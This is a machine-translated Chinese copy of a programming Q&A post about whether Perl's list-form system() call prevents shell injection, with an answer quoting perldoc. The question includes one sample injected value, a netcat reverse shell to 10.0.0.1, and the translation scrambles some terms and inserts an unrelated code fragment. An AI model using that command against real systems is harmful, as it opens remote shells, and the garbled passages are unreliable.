system()
是一个用args' n执行文件的函数,意思是' n'一个真实的数字。
如果我们有:system("path/to/program","firstArg","secondArg",...);
第二个参数中的字符串将始终是传递给"path/to/program"
的字符串吗?
如果我喜欢:system("path/to/program","legitArg",$userinput);
- $userinput
是否容易受到代码注入攻击?或者它将作为字符串传递给path/to/program
?
即使$userinput="some_kind_of_escape /bin/nc -e /bin/sh 10.0.0.1 1234"
?
如果不是,我怎么能参数化这些论点?
更新:根据下面的回答,我从斯坦福找到了这个:using the perl system() function
答案 0 :(得分:6)
用于避免shell注入的(几乎)正确用法,因为Perl将使用seating[i] = line;
直接执行给定的程序,而不通过命令shell传递参数。
来自execvp
:
如果LIST中有多个参数,或者如果 LIST是一个包含多个值的数组,启动程序 由列表的第一个元素给出,其中包含参数 列表的其余部分。如果只有一个标量参数,那么 检查shell元字符的参数,如果有的话 any,整个参数传递给系统的命令shell 用于解析(这是" / bin / sh -c"在Unix平台上,但有所不同 其他平台)。如果没有shell元字符 参数,它被分成单词并直接传递给" execvp", 哪个更有效率。在Windows上,只有"系统程序 LIST"语法将可靠地避免使用shell; "系统列表", 即使有多个元素,也会回到shell中 第一个产卵失败。
请注意Windows系统上有关perldoc system
vs system LIST
的警告,因此如果您的代码要在那里运行,则应使用:
system PROGRAM LIST
当然,如果正在执行的程序接受用户提供的参数并将其传递给shell本身,那么什么都不能保护你。